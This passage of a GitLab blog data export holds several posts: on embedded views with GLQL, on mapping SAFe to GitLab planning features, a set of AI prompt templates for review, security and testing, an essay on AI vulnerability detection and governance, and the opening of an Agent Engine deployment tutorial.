[documentation](https://docs.gitlab.com/user/duo_agent_platform/agents/foundational_agents/planner/) where we cover prerequisites, use cases, and more.",[693,804,805,774],"agile","features",[807,808],"Aathira Nair","Amanda Rueda",{"featured":13,"template":810,"slug":811},"BlogPost","ace-your-planning-without-the-context-switching",{"content":813,"config":825},{"title":814,"description":815,"authors":816,"date":820,"body":821,"category":678,"tags":822,"heroImage":824},"Embedded views: The future of work tracking in GitLab","Learn how embedded views, powered by GitLab Query Language, help GitLab teams work more efficiently, make data-driven decisions, and maintain visibility across complex workflows.",[817,818,819],"Matthew Macfarlane","Himanshu Kapoor","Alex Fracazo","2025-08-21","Ever find yourself switching between tabs in GitLab just to keep track of what’s happening in your project? Maybe you’re checking on an issue, then jumping to a merge request, then over to an epic to see how everything connects. Before you know it, you’ve got a browser full of tabs and you’ve lost your train of thought.\n\nIf that sounds familiar, you’re definitely not alone. So many teams waste time and energy flipping through various items in their project management software, just trying to get a handle on their work.\n\nThat's why we created [embedded views](https://docs.gitlab.com/user/glql/#embedded-views), powered by [GitLab Query Language (GLQL)](https://docs.gitlab.com/user/glql/). With embedded views, [available in 18.3](https://about.gitlab.com/releases/2025/08/21/gitlab-18-3-released/), you get live, relevant information right where you’re already working in GitLab. No more endless context switching. No more outdated reports. Just the info you need, right when you need it.\n## Why embedded views matter\nEmbedded views are more than just a new feature, they're a fundamental shift in how teams understand and track their work within GitLab. With embedded views, teams can maintain context while accessing real-time information, creating shared understanding, and improving collaboration without ever leaving their current workflow. It’s about making work tracking feel natural and effortless, so you can focus on what matters.\n## How it works: Real-time data right where you need it the most\nEmbedded views let you insert live GLQL queries in Markdown code blocks throughout wiki pages, epics, issues, and merge requests. Here's what makes them so useful:\n### Always up to date\nGLQL queries are dynamic, pulling fresh data each time the page loads, so your embedded views always reflect the current state of your work, not the state when you embedded the view. When changes happen to issues, merge requests, or milestones, a page refresh will show those updates in your embedded view.\n### Contextual awareness\nUse functions like `currentUser()` and `today()` to make queries context-specific. Your embedded views automatically adapt to show relevant information for whoever is viewing them, creating personalized experiences without manual configuration.\n### Powerful filtering\nFilter by fields like assignee, author, label, milestone, health status, creation date, and more. Use logical expressions to get exactly the data you want. We support more than 30 fields as of 18.3.\n### Customizable display\nYou can display your data as a table, a list, or a numbered list. Choose which fields to show, set a limit on the number of items, and specify the sort order to keep your view focused and actionable.\n### Availability\nYou can use embedded views in group and project wikis, epic and issue descriptions, merge requests, and comments. GLQL is available across all GitLab tiers: Free, Premium, and Ultimate, on GitLab.com, GitLab Self-Managed, and GitLab Dedicated. Certain functionality, such as displaying epics, status, custom fields, iterations, and weights, is available in the Premium and Ultimate tiers. Displaying health status is available only in Ultimate.\n## See embedded views in action\nThe syntax of an embedded view's source is a superset of YAML that consists of:\n- The `query` parameter: Expressions joined together with a logical operator, such as `and`.\n- Parameters related to the presentation layer, like `display`, `limit`, or `fields`, `title`, and `description`\n  represented as YAML.\n\nA view is defined in Markdown as a code block, similar to other code blocks like Mermaid.\nFor example:\n- Display a table of first 5 open issues assigned to the authenticated user in `gitlab-org/gitlab`.\n- Display columns `title`, `state`, `health`, `description`, `epic`, `milestone`, `weight`, and `updated`.\n````markdown\n```glql\ndisplay: table\ntitle: GLQL table 🎉\ndescription: This view lists my open issues\nfields: title, state, health, epic, milestone, weight, updated\nlimit: 5\nquery: project = \"gitlab-org/gitlab\" AND assignee = currentUser() AND state = opened\n```\n````\nThis source should render a table like the one below:\n![](https://res.cloudinary.com/about-gitlab-com/image/upload/v1755193172/ibzfopvpztpglnccwrjj.png)\n\nAn easy way to create your first embedded view is to navigate to the **More options** dropdown in the rich text editor toolbar. Once in this toolbar, select **Embedded view**, which populates the following query in a Markdown code block:\n````markdown\n```glql\nquery: assignee = currentUser()\nfields: title, createdAt, milestone, assignee\ntitle: Issues assigned to current user\n```\n````\nSave your changes to the comment or description where the code block appears, and you're done! You've successfully created your first embedded view!\n## How GitLab uses embedded views\nWhether tracking merge requests targeting security releases, triaging bugs to improve backlog hygiene, or managing team onboarding and milestone planning, we rely on embedded views for mission-critical processes every day. This isn't just a feature we built, it's a tool we depend on to run our business effectively. When you adopt embedded views, you're getting a tested solution that's already helping GitLab teams work more efficiently, make data-driven decisions, and maintain visibility across complex workflows. Simply stated, embedded views can transform how your team accesses and analyzes the work that matters most to your success.\n\nTo learn and see more about how GitLab is using embedded views internally, check out [How GitLab measures Red Team impact: The adoption rate metric](https://about.gitlab.com/blog/how-gitlab-measures-red-team-impact-the-adoption-rate-metric/), and Global Search Release Planning issues for the [18.1](https://gitlab.com/gitlab-org/search-team/team-tasks/-/issues/239), [18.2](https://gitlab.com/gitlab-org/search-team/team-tasks/-/issues/241), and [18.3](https://gitlab.com/gitlab-org/search-team/team-tasks/-/issues/245) milestones.\n## What's next\nEmbedded views are just the start of [Knowledge Group's](https://about.gitlab.com/direction/plan/knowledge/) vision for work tracking. Learn more about what we're focusing on next in the [embedded views post-GA epic](https://gitlab.com/groups/gitlab-org/-/epics/15249). As embedded views evolve we're committed to making them even more powerful and [accessible](https://gitlab.com/gitlab-org/gitlab/-/issues/548722).\n## Share your experience\nShare your feedback in the [embedded views GA feedback issue](https://gitlab.com/gitlab-org/gitlab/-/issues/509792) or via the [embedded views GA survey](https://gitlab.fra1.qualtrics.com/jfe/form/SV_6PFhgZMBA06kr7E). Whether you've discovered innovative use cases, encountered challenges, or have ideas for improvements, we want to hear from you.\n",[804,505,823],"workflow","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099072/Blog/Hero%20Images/Blog/Hero%20Images/agile_agile.png_1750099072322.png",{"featured":679,"template":810,"slug":826},"embedded-views-the-future-of-work-tracking-in-gitlab",{"content":828,"config":837},{"title":829,"description":830,"authors":831,"heroImage":832,"date":833,"body":834,"category":678,"tags":835},"SAFe without silos in GitLab","Learn how to map the Scaled Agile Framework to the native capabilities of the DevSecOps platform and the advantages that come from doing so.",[808],"https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097569/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%2811%29_2hcwWx49wQ7CHfvhhkVH6S_1750097569126.png","2025-04-08","Let's talk about what happens when your organization adopts the Scaled Agile\nFramework (SAFe) to scale to enterprise levels. You've got multiple teams working on complex products, and you need a way to coordinate all that work.\nBut here's a common headache: Your planning happens in one tool, while your actual development work lives somewhere else entirely.\n\nThis divide creates real problems day-to-day. Developers jump between systems constantly. Product managers struggle to get an accurate picture of progress. And everyone wastes time manually copying information from one place to another. It's precisely the kind of disjointed experience that SAFe was designed to eliminate.\n\nWhile your development teams might already be using GitLab for source code management, CI/CD, and security, you may wonder whether GitLab can also support your planning needs within the SAFe framework. The good news is that\nGitLab's Agile project management capabilities offer strong support for\nSAFe, in this article, you'll learn how GitLab maps to SAFe concepts and ceremonies, all within the same DevSecOps platform your software developers already know and love.\n\n## What is SAFe?\n\nSAFe, or the Scaled Agile Framework, is a way to bring Agile principles to large organizations without losing speed, alignment, or customer focus. It takes the iterative and flexible teamwork model of small teams and applies its principles across big organizations that have multiple teams, roadmaps, and stakeholders. This brings the organization into alignment, all planning and executing in the same direction. For product managers, SAFe helps connect strategy to execution so you’re not just shipping fast, you’re shipping the right things, backed by clear priorities and cross-team alignment.\n\nSAFe reduces silos, encourages collaboration, and helps teams rally around customer outcomes, not just tasks. When integrated in GitLab, the magic really happens: visibility, traceability, and delivery all live in one place.\n\n## SAFe terminology in GitLab\n\nFirst, let's establish how SAFe concepts map to GitLab:\n\n| SAFe | GitLab |\n| :---- | :---- |\n| Epic | Top-level Epic |\n| Capability | Sub-epic (Level 1) |\n| Feature | Sub-epic (Level 2) |\n| User Story | Issue |\n| Task | Task |\n| Team | Custom Field / Scoped Label |\n| Sprint | Iteration |\n| Program Increment (PI) | Milestone |\n| Value Stream | Top-level Group |\n| Agile Release Train (ART) | Top-level Group |\n\n\u003Cbr>\u003C/br>\n\nWith this mapping as your guide, you can set up GitLab to mirror your SAFe implementation. The group structure lets you organize around your value streams and ARTs, while the work item hierarchy (with up to seven levels of nested epics!) gives you all the depth you need for complex product portfolios. Whether you're working at the portfolio level (with top-level groups), program level (with subgroups), or team level (with projects),\nGitLab's organizational structure aligns perfectly with SAFe's hierarchy.\n\n## Supporting SAFe ceremonies in GitLab\n\nNow for the fun part - how do you actually run your SAFe ceremonies in\nGitLab? Let's walk through each one.\n\n### PI planning\n\nTo facilitate the cross-team alignment and dependency management that makes\nPI planning successful, GitLab offers several capabilities:\n\n* Use the [Roadmap](https://docs.gitlab.com/user/group/roadmap/) view to\nvisualize features across teams and time periods\n\n* Assign features to the PI\n[milestone](https://docs.gitlab.com/user/project/milestones/)\n\n* Document and visualize cross-team\n[dependencies](https://docs.gitlab.com/user/project/issues/related_issues/#blocking-issues)\nas they're identified\n\nGitLab gives you flexibility for PI planning through both the Epic boards (which can be configured to show team assignments) and the Roadmap view (which shows features over time like a Gantt chart). You can switch between these views during your planning session depending on whether you're focusing on the timeline or team organization.\n\n![Roadmap view and epic board](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097577/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750097576746.gif)\n\n\u003Cbr>\u003C/br>\n\n![Roadmap view with Gantt chart](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097577/Blog/Content%20Images/Blog/Content%20Images/image5_aHR0cHM6_1750097576747.png)\n\n### Refinement\n\nAs a product manager, running effective refinement sessions means having clear visibility into your feature backlog. You can run your refinement session right inside GitLab. No more updating one tool during the meeting and then having to update another tool afterward.\n\nGitLab powers refinement sessions with:\n\n* [Epic boards](https://docs.gitlab.com/user/group/epics/epic_boards/) that\ngroup features based on status\n\n* The ability to view story points directly in the\n[overview](https://docs.gitlab.com/user/group/epics/epic_boards/#view-count-of-issues-weight-and-progress-of-an-epic)\n\n* Comprehensive [drawer\nviews](https://docs.gitlab.com/user/group/epics/manage_epics/#open-epics-in-a-drawer)\nthat let you interact with work items without losing context\n\n* The ability to create and link [child\nissues](https://docs.gitlab.com/user/group/epics/manage_epics/#add-an-issue-to-an-epic)\ndirectly from epics\n\n![SAFe - image 3](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097577/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750097576749.gif)\n\n### Sprint planning\n\nWhen it's time to figure out what your team can tackle in the next sprint,\nGitLab gives you:\n\n* [Issue boards](https://docs.gitlab.com/user/project/issue_board/) that\nprovide a comprehensive view of your backlog\n\n* [Total\nweight](https://docs.gitlab.com/user/project/issue_board/#sum-of-issue-weights)\nof user stories displayed directly on boards\n\n* The ability to easily move issues between iterations\n\n* A collapsible view that simplifies moving stories between sprints\n\nThis means you can keep everything in one place and spend your planning meetings actually planning instead of jumping between tools.\n\n![Sprint planning with\nGitLab](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097577/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750097576751.gif)\n\n*💡 Check out [this tutorial on using GitLab to facilitate\nScrum](https://docs.gitlab.com/tutorials/scrum_events/) for a detailed glimpse into the power of GitLab in Agile planning and sprint tracking.*\n\n### Daily stand-ups\n\nYour team can gather around the board during daily stand-ups and actually see what everyone's working on, what's stuck, and what's ready for review – all in one view. For your dev team's daily stand-ups, GitLab lets you:\n\n* Create\n[iteration-scoped](https://docs.gitlab.com/user/project/issue_board/#iteration-lists)\nboards that show the current sprint's work\n\n* Display story points/weights directly on cards\n\n* Use the [drawer\nview](https://docs.gitlab.com/user/project/issues/managing_issues/#open-issues-in-a-drawer)\nto access details without leaving the context\n\n* Highlight tasks at risk through [health\nstatus](https://docs.gitlab.com/user/project/issues/managing_issues/#health-status)\n\n![Daily stand-up board](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097577/Blog/Content%20Images/Blog/Content%20Images/image6_aHR0cHM6_1750097576755.png)\n\n### Sprint review\n\nWant to know how your team is doing over time? GitLab provides comprehensive metrics with:\n\n* [Burndown and burnup\ncharts](https://docs.gitlab.com/user/group/iterations/#iteration-burndown-and-burnup-charts)\nfor iterations\n\n* Velocity tracking\n\n* [Lead and cycle\ntime](https://docs.gitlab.com/user/group/value_stream_analytics/#lifecycle-metrics)\nmetrics\n\n* Dashboards that can be scoped to teams\n\nThese metrics help you understand if your team is getting faster, where they're getting stuck, and what you might want to talk about in your next retrospective.\n\n![Burndown and burnup charts](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097577/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097576758.png)\n\n## 5 reasons a unified platform provides an advantage\n\nI know there are plenty of planning tools that can handle SAFe ceremonies.\nBut there are game-changing reasons why I genuinely believe GitLab is different:\n\n1. **No more context switching** - Your planning, coding, testing, and\nsecurity all happen in one place.\n\n2. **Everything's connected** - You can trace work from the big epic down to\nthe code and deployment.\n\n3. **Everyone's on the same page** - Developers, product folks, and security\nteams all work together in the same tool.\n\n4. **Total visibility** - Stakeholders have one place to check for\nupdates.\n\n5. **The full picture** - You see planning and development metrics together,\nso you know what's really going on.\n\nIf your dev teams already love GitLab, why make them jump to another tool for planning or create some complex, cobbled-together integrations? Bringing your SAFe planning into GitLab creates a much smoother experience for everyone.\n\n## Implementation principles\n\nI've worked with teams transitioning from traditional SAFe tools to GitLab, and here's what I've learned: Focus on **what each ceremony is trying to accomplish**, not on recreating exact replicas of your old tools.\n\nThe teams that get the most out of GitLab are the ones who embrace its native capabilities instead of fighting against them. Yes, it takes some initial work to figure out how to map your SAFe concepts and set up your workflows. But once you do, you'll find your processes actually get simpler rather than more complex.\n\nThe key is defining conventions that everyone follows. Which labels mean what? How will you track teams? What goes in an epic versus an issue? With a little upfront investment in these decisions, you'll end up with an intuitive system that eliminates all that cross-tool coordination overhead.\n\n## Getting started\n\nReady to give this a shot? Here's how to start implementing SAFe in GitLab:\n\n1. **Set up your structure** - Create groups and subgroups that [match your\norganization](https://about.gitlab.com/blog/best-practices-to-set-up-organizational-hierarchies-that-scale/).\n\n2. **Define your work breakdown** - Decide how you'll use\n[epics](https://about.gitlab.com/blog/unlocking-agile-excellence-gitlab-epics-for-seamless-portfolio-management/), [issues](https://docs.gitlab.com/user/project/issues/managing_issues/), and [tasks](https://docs.gitlab.com/user/tasks/).\n\n3. **Create your iterations** - Set up your [sprint\nschedule](https://docs.gitlab.com/user/group/iterations/#create-an-iteration-cadence).\n\n4. **Add your milestones** -\n[Milestones](https://docs.gitlab.com/user/project/milestones/#create-a-milestone)\nwill represent your Program Increments in GitLab.\n\n5. **Build your boards** - Create different views for different\nceremonies.\n\n6. **Agree on conventions** - Document how you'll use labels and custom\nfields.\n\nTaking time to think through these decisions upfront will save you many headaches later. And remember, you don't have to perfect it on day one - you can always adjust as you learn.\n\n## Bringing it all together\n\nGitLab gives you a solid foundation for running SAFe, especially if your dev teams are already GitLab fans. When you bring planning and development into the same tool, you eliminate those painful handoffs, make collaboration way easier, and get everything moving faster.\n\nThe beauty of GitLab's planning tools is that they're flexible enough to adapt to your specific flavor of SAFe. You're not locked into rigid workflows - you can evolve your approach as your teams mature and your needs change.\n\n> Ready to see how much better life is without those planning silos? [Start\nyour free trial today](https://about.gitlab.com/free-trial/) and experience firsthand how GitLab can transform your SAFe implementation.\n\n*💡 If you liked this topic check out this related post - [GitLab for Agile\nSoftware\nDevelopment](https://about.gitlab.com/blog/gitlab-for-agile-software-development/)*\n",[804,505,805,774,836],"tutorial",{"slug":838,"featured":13,"template":810},"safe-without-silos-in-gitlab",{"category":693,"slug":691,"posts":840},[841,854,866],{"content":842,"config":852},{"title":843,"description":844,"authors":845,"heroImage":847,"date":848,"body":849,"category":691,"tags":850},"10 AI prompts to speed your team’s software delivery","Eliminate review backlogs, security delays, and coordination overhead with ready-to-use AI prompts covering every stage of the software lifecycle.",[846],"Chandler Gibbons","https://res.cloudinary.com/about-gitlab-com/image/upload/v1772632341/duj8vaznbhtyxxhodb17.png","2026-03-04","AI-assisted coding tools are helping developers generate code faster than ever. So why aren’t teams _shipping_ faster?\n\nBecause coding is only 20% of the software delivery lifecycle, the remaining 80% becomes the bottleneck: code review backlogs grow, security scanning can’t keep pace, documentation falls behind, and manual coordination overhead increases.\n\nThe good news is that the same AI capabilities that accelerate individual coding can eliminate these team-level delays. You just need to apply AI across your entire software lifecycle, not only during the coding phase.\n\nBelow are 10 ready-to-use prompts from the [GitLab Duo Agent Platform Prompt Library](https://about.gitlab.com/gitlab-duo/prompt-library/) that help teams overcome common obstacles to faster software delivery. Each prompt addresses a specific slowdown that emerges when individual productivity increases without corresponding improvements in team processes.\n\n## How do you move code review from bottleneck to accelerator?\nDevelopers generate merge requests faster with AI assistance, but human reviewers can quickly become overwhelmed as code review cycles stretch from hours to days. AI can handle routine review tasks, freeing reviewers to focus on architecture and business logic instead of catching basic logical errors and API contract violations.\n\n### Review MR for logical errors\n**Complexity**: Beginner\n\n**Category**: Code Review\n\n**Prompt from library**:\n\n\n```text\nReview this MR for logical errors, edge cases, and potential bugs: [MR URL or paste code]\n```\n\n**Why it helps**: Automated linters catch syntax issues, but logical errors require understanding intent. This prompt catches bugs before human reviewers even look at the code, reducing review cycles from multiple rounds to often just one approval.\n\n### Identify breaking changes in MR\n**Complexity**: Beginner\n\n**Category**: Code Review\n\n**Prompt from library**:\n\n\n```text\nDoes this MR introduce any breaking changes?\n\nChanges:\n[PASTE CODE DIFF]\n\nCheck for:\n1. API signature changes\n2. Removed or renamed public methods\n3. Changed return types\n4. Modified database schemas\n5. Breaking configuration changes\n```\n\n**Why it helps**: Breaking changes discovered during deployment can cause rollbacks and incidents. This prompt shifts that discovery left to the MR stage, when fixes are faster and less expensive.\n\n## How can you shift security left without slowing down?\nSecurity scans generate hundreds of findings. Security teams manually triage each one while developers wait for approval to deploy. Most findings are false positives or low-risk issues, but identifying the real threats requires expertise and time. AI can prioritize findings by actual exploitability and auto-remediate common vulnerabilities, allowing security teams to focus on the threats that matter.\n\n### Analyze security scan results\n**Complexity**: Intermediate\n\n**Category**: Security\n\n**Agent**: Duo Security Analyst\n\n**Prompt from library**:\n\n\n```text\n@security_analyst Analyze these security scan results:\n\n[PASTE SCAN OUTPUT]\n\nFor each finding:\n1. Assess real risk vs false positive\n2. Explain the vulnerability\n3. Suggest remediation\n4. Prioritize by severity\n```\n\n**Why it helps**: Most security scan findings are false positives or low-risk issues. This prompt helps security teams focus on the findings that actually matter, reducing remediation time from weeks to days.\n\n### Review code for security issues\n**Complexity**: Intermediate\n\n**Category**: Security\n\n**Agent**: Duo Security Analyst\n\n**Prompt from library**:\n\n```text\n@security_analyst Review this code for security issues:\n\n[PASTE CODE]\n\nCheck for:\n1. Injection vulnerabilities\n2. Authentication/authorization flaws\n3. Data exposure risks\n4. Insecure dependencies\n5. Cryptographic issues\n```\n\n**Why it helps**: Traditional security reviews happen after code is written. This prompt enables developers to find and fix security issues before creating an MR, eliminating the back and forth that delays deployments.\n\n## How do you keep documentation current as code changes?\nCode changes faster than documentation. Onboarding new developers takes weeks because docs are outdated or missing. Teams know documentation is important, but it always gets deferred when deadlines approach. Automating documentation generation and updates as part of your standard workflow ensures docs stay current without adding manual work.\n\n### Generate release notes from MRs\n**Complexity**: Beginner\n\n**Category**: Documentation\n\n**Prompt from library**:\n\n```text\nGenerate release notes for these merged MRs:\n[LIST MR URLs or paste titles]\n\nGroup by:\n1. New features\n2. Bug fixes\n3. Performance improvements\n4. Breaking changes\n5. Deprecations\n```\n\n**Why it helps**: Manual release note compilation takes hours and often includes errors or omissions. Automated generation ensures every release has comprehensive notes without adding work to your release process.\n\n### Update documentation after code changes\n**Complexity**: Beginner\n\n**Category**: Documentation\n\n**Prompt from library**:\n\n```text\nI changed this code:\n\n[PASTE CODE CHANGES]\n\nWhat documentation needs updating? Check:\n1. README files\n2. API documentation\n3. Architecture diagrams\n4. Onboarding guides\n```\n\n**Why it helps**: Documentation drift happens because teams forget which docs need updates after code changes. This prompt makes documentation maintenance part of your development workflow, not a separate task that gets deferred.\n\n## How do you break down planning complexity?\nLarge features get stuck in planning. Teams spend weeks in meetings trying to scope work and identify dependencies. The complexity feels overwhelming, and it's hard to know where to start. AI can systematically decompose complex work into concrete, implementable tasks with clear dependencies and acceptance criteria, transforming weeks of planning into focused implementation.\n\n### Break down epic into issues\n**Complexity**: Intermediate\n\n**Category**: Documentation\n\n**Agent**: Duo Planner\n\n**Prompt from library**:\n\n```text\nBreak down this epic into implementable issues:\n\n[EPIC DESCRIPTION]\n\nConsider:\n1. Technical dependencies\n2. Reasonable issue sizes\n3. Clear acceptance criteria\n4. Logical implementation order\n```\n\n**Why it helps**: This prompt transforms a week of planning meetings into 30 minutes of AI-assisted decomposition followed by team review. Teams start implementation sooner with clearer direction.\n\n## How can you expand test coverage without expanding effort?\nDevelopers are writing code faster, but if testing doesn't keep pace, test coverage decreases and bugs slip through. Writing comprehensive tests manually is time-consuming, and developers often miss edge cases under deadline pressure. Generating tests automatically means developers can review and refine rather than write from scratch, maintaining quality without sacrificing velocity.\n\n### Generate unit tests\n**Complexity**: Beginner\n\n**Category**: Testing\n\n**Prompt from library**:\n\n```text\nGenerate unit tests for this function:\n\n[PASTE FUNCTION]\n\nInclude tests for:\n1. Happy path\n2. Edge cases\n3. Error conditions\n4. Boundary values\n5. Invalid inputs\n```\n\n**Why it helps**: Writing tests manually is time consuming, and developers often miss edge cases. This prompt generates thorough test suites in seconds, which developers can review and adjust rather than write from scratch.\n\n### Review test coverage gaps\n**Complexity**: Beginner\n\n**Category**: Testing\n\n**Prompt from library**:\n\n```text\nAnalyze test coverage for [MODULE/COMPONENT]:\n\nCurrent coverage: [PERCENTAGE]\n\nIdentify:\n1. Untested functions/methods\n2. Uncovered edge cases\n3. Missing error scenario tests\n4. Integration points without tests\n5. Priority areas to test next\n```\n\n**Why it helps**: This prompt reveals blind spots in your test suite before they cause production incidents. Teams can systematically improve coverage where it matters most.\n\n## How do you reduce mean time to resolution when debugging?\nProduction incidents take hours to diagnose. Developers wade through logs and stack traces while customers experience downtime. Every minute of debugging is a minute of lost productivity and potential revenue. AI can accelerate root cause analysis by parsing complex error messages and suggesting specific fixes, cutting diagnostic time from hours to minutes.\n\n### Debug failing pipeline\n**Complexity**: Beginner\n\n**Category**: Debugging\n\n**Prompt from library**:\n\n```text\nThis pipeline is failing:\n\nJob: [JOB NAME]\nStage: [STAGE]\nError: [PASTE ERROR MESSAGE/LOG]\n\nHelp me:\n1. Identify the root cause\n2. Suggest a fix\n3. Explain why it started failing\n4. Prevent similar issues\n```\n\n**Why it helps**: CI/CD failures block entire teams. This prompt diagnoses failures in seconds instead of the 15-30 minutes developers typically spend investigating, keeping deployment velocity high.\n\n## Moving from individual gains to team acceleration\nThese prompts represent a shift in how teams apply AI to software delivery. Rather than focusing solely on individual developer productivity, they address the coordination, quality, and knowledge-sharing challenges that actually constrain team velocity.\n\nThe [complete prompt library](https://about.gitlab.com/gitlab-duo/prompt-library/) contains more than 100 prompts across all stages of the software lifecycle: planning, development, security, testing, deployment, and operations. Each prompt is tagged by complexity level (Beginner, Intermediate, Advanced) and categorized by use case, making it easy to find the right starting point for your team.\n\nStart with prompts tagged “Beginner” that address your team’s most pressing obstacles. As your team builds confidence, explore intermediate and advanced prompts that enable more sophisticated workflows. The goal is not just faster coding — it's faster, safer, higher-quality software delivery from planning through production.",[693,851],"DevOps platform",{"featured":679,"template":810,"slug":853},"10-ai-prompts-to-speed-your-teams-software-delivery",{"content":855,"config":864},{"title":856,"description":857,"heroImage":858,"authors":859,"date":861,"body":862,"category":691,"tags":863},"AI can detect vulnerabilities, but who governs risk?","AI-assisted vulnerability detection is developing fast, but the harder challenges of enforcement, governance, and supply chain security require a holistic platform.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1772195014/ooezwusxjl1f7ijfmbvj.png",[860],"Omer Azaria","2026-02-27","Anthropic recently announced Claude Code Security, an AI system that detects vulnerabilities and proposes fixes. The market reacted immediately, with security stocks dipping as investors questioned whether AI might replace traditional AppSec tools. The question on everyone's mind: If AI can write code and secure it, is application security about to become obsolete?\n\nIf security only meant scanning code, the answer might be yes. But enterprise security has never been about detection alone.\n\nOrganizations are not asking whether AI can find vulnerabilities. They are asking three much harder questions: \n\n* Is what we are about to ship safe?  \n* Has our risk posture changed as environments evolve and dependencies, third-party services, tools, and infrastructure continuously shift?  \n* How do we govern a codebase that is increasingly assembled by AI and third-party sources, and that we are still accountable for? \n\nThose questions require a platform answer: Detection surfaces risk, but governance determines what happens next. \n\n[GitLab](https://about.gitlab.com/) is the orchestration layer built to govern the software lifecycle end-to-end. It gives teams the enforcement, visibility, and auditability they need to keep pace with the speed of AI-assisted development.\n\n## Trusting AI requires governing risk\n\nAI systems are rapidly getting better at identifying vulnerabilities and suggesting fixes. This is a meaningful and welcome advancement, but analysis is not accountability.\n\nAI cannot enforce company policy or define acceptable risk on its own. Humans must set the boundaries, policies, and guardrails that agents operate within, establishing separation of duties, ensuring audit trails, and maintaining consistent controls across thousands of repositories and teams. Trust in agents comes not from autonomy alone, but from clearly defined governance set by people. \n\nIn an [agentic world](https://about.gitlab.com/topics/agentic-ai/), where software is increasingly written and modified by autonomous systems, governance becomes more important, not less. The more autonomy organizations grant to AI, the stronger the governance must be.\n\nGovernance is not friction. It is the foundation that makes AI-assisted development trustworthy at scale.\n\n## LLMs see code, but platforms see context\n\nA large language model ([LLM](https://about.gitlab.com/blog/what-is-a-large-language-model-llm/)) evaluates code in isolation. An enterprise application security platform understands context. This difference matters because risk decisions are contextual:\n\n* Who authored the change?  \n* How critical is the application to the business?  \n* How does it interact with infrastructure and dependencies?  \n* Does the vulnerability exist in code that is actually reachable in production, or is it buried in a dependency that never executes?  \n* Is it actually exploitable in production, given how the application runs, its APIs, and the environment around it?\n\nSecurity decisions depend on this context. Without it, detection produces noisy alerts that slow down development rather than reducing risk. With it, organizations can triage quickly and manage risk effectively. Context evolves continuously as software changes, which means governance cannot be a one-time decision. \n\n## Static scans can’t keep up with dynamic risk\n\nSoftware risk is dynamic. Dependencies change, environments evolve, and systems interact in ways no single analysis can fully predict. A clean scan at one moment does not guarantee safety at release.\n\nEnterprise security depends on continuous assurance: controls embedded directly into development workflows that evaluate risk as software is built, tested, and deployed.\n\nDetection provides insight. Governance provides trust. Continuous governance is what allows organizations to ship safely at scale.\n\n## Governing the agentic future\n\nAI is reshaping how software is created. The question is no longer whether teams will use AI, but how safely they can scale it.\n\nSoftware today is assembled as much as it is written, from AI-generated code, open-source libraries, and third-party dependencies that span thousands of projects. Governing what ships across all of those sources is the hardest and most consequential part of application security, and it is the part that no developer-side tool is built to address. \n\nAs an intelligent orchestration platform, GitLab is built to address this problem. GitLab Ultimate embeds governance, policy enforcement, security scanning, and auditability directly into the workflows where software is planned, built, and shipped, so security teams can govern at the speed of AI. \n\nAI will accelerate development dramatically. The organizations that benefit most from AI will not be those with the smartest assistants alone, but those that build trust through strong governance.\n\n> To learn how GitLab helps organizations [govern and ship AI-generated code](https://about.gitlab.com/solutions/software-compliance/?utm_medium=blog&utm_campaign=eg_global_x_x_security_en_) safely, [talk to our team today](https://about.gitlab.com/sales/?utm_medium=blog&utm_campaign=eg_global_x_x_security_en_)\n\n\n ## Related reading\n\n - [Integrating AI with DevOps for enhanced security](https://about.gitlab.com/topics/devops/ai-enhanced-security/)\n - [The GitLab AI Security Framework for security leaders](https://about.gitlab.com/blog/the-gitlab-ai-security-framework-for-security-leaders/)\n - [Improve AI security in GitLab with composite identities](https://about.gitlab.com/blog/improve-ai-security-in-gitlab-with-composite-identities/)",[693,785],{"featured":13,"template":810,"slug":865},"ai-can-detect-vulnerabilities-but-who-governs-risk",{"content":867,"config":877},{"title":868,"description":869,"authors":870,"category":691,"tags":872,"date":874,"heroImage":875,"body":876},"Secure and fast deployments to Google Agent Engine with GitLab","Follow this step-by-step guide to build an AI agent with Google's Agent Development Kit and deploy to Agent Engine using GitLab.",[871],"Regnard Raquedan",[693,873,89,537],"google","2026-02-26","https://res.cloudinary.com/about-gitlab-com/image/upload/v1772111172/mwhgbjawn62kymfwrhle.png","In this tutorial, you'll learn how to deploy an AI agent built with Google's Agent Development Kit ([ADK](https://google.github.io/adk-docs/)) to [Agent Engine](https://cloud.google.com/vertex-ai/generative-ai/docs/agent-engine/overview) using GitLab's native Google Cloud integration and CI/CD pipelines. We'll cover IAM configuration, pipeline setup, and testing your deployed agent.\n\n## What is Agent Engine and why does it matter?\n\nAgent Engine is Google Cloud's managed runtime specifically designed for AI agents. Think of it as the production home for your agents — where they live, run, and scale without you having to manage the underlying infrastructure. Agent Engine handles infrastructure, scaling, session management, and memory storage so you can focus on building your agent — not managing servers. It also integrates natively with Google Cloud's logging, monitoring, and IAM.\n\n## Why use GitLab to deploy to Agent Engine?\n\nAI agent deployment is typically difficult to configure correctly. Security considerations, CI/CD orchestration, and cloud permissions create friction that slows down development cycles.\n\nGitLab streamlines this entire process while enhancing security:\n\n- **Built-in security scanning** — Every deployment is automatically scanned for vulnerabilities without additional configuration.\n- **Native Google Cloud integration** — Workload Identity Federation eliminates the need for service account keys.\n- **Simplified CI/CD** — GitLab's templates handle complex deployment logic.\n\n## Prerequisites\n\nBefore you begin, ensure you have:\n\n- A Google Cloud project with the following APIs enabled:\n  - Cloud Storage API\n  - Vertex AI API\n- A GitLab project for your source code and CI/CD pipeline\n- A Google Cloud Storage bucket for staging deployments\n- Google Cloud IAM integration configured in GitLab (see Step 1)\n\nHere are the steps to follow.\n\n## 1. Configure IAM integration\n\nThe foundation of secure deployment is proper IAM configuration between GitLab and Google Cloud using Workload Identity Federation.\n\nIn your GitLab project:\n\n1. Navigate to **Settings > Integrations**.\n2. Locate the **Google Cloud IAM** integration.\n3. Provide the following information:\n   - **Project 